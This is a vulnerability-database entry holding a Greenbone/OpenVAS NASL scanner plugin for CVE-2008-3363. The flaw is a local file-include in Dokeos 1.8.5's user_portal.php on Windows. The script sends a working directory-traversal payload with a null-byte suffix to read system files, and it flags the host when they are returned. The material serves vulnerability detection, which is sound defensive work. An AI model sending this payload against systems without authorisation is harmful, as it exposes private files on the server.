CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
AI Score
Confidence
Low
EPSS
Percentile
93.4%
Dokeos is prone to a local file-include vulnerability because it fails to
properly sanitize user-supplied input.
# Copyright (C) 2009 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:dokeos:dokeos";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100155");
script_version("2022-05-09T13:48:18+0000");
script_tag(name:"last_modification", value:"2022-05-09 13:48:18 +0000 (Mon, 09 May 2022)");
script_tag(name:"creation_date", value:"2009-04-23 21:21:19 +0200 (Thu, 23 Apr 2009)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2008-3363");
script_tag(name:"solution_type", value:"Workaround");
script_name("Dokeos <= 1.8.5 'user_portal.php' Local File Include Vulnerability");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_family("Web application abuses");
script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("gb_dokeos_http_detect.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("dokeos/http/detected", "Host/runs_windows");
script_tag(name:"summary", value:"Dokeos is prone to a local file-include vulnerability because it fails to
properly sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view local files or
execute arbitrary local scripts on the vulnerable computer in the context of the webserver process.");
script_tag(name:"affected", value:"Dokeos 1.8.5 is vulnerable, other versions may also be affected.
Please note that this issue affects only Dokeos running on Windows.");
script_tag(name:"solution", value:"The vendor has provided a workaround to mitigate this
vulnerability. Please see the references for more information.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30150");
script_xref(name:"URL", value:"https://web.archive.org/web/20100102111721/http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.5");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
files = traversal_files("windows");
foreach pattern(keys(files)) {
file = files[pattern];
url = dir + "/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\" + file + "%00.ht";
req = http_get(item: url, port: port);
buf = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);
if(!buf)
continue;
if (egrep(pattern:pattern, string: buf)) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);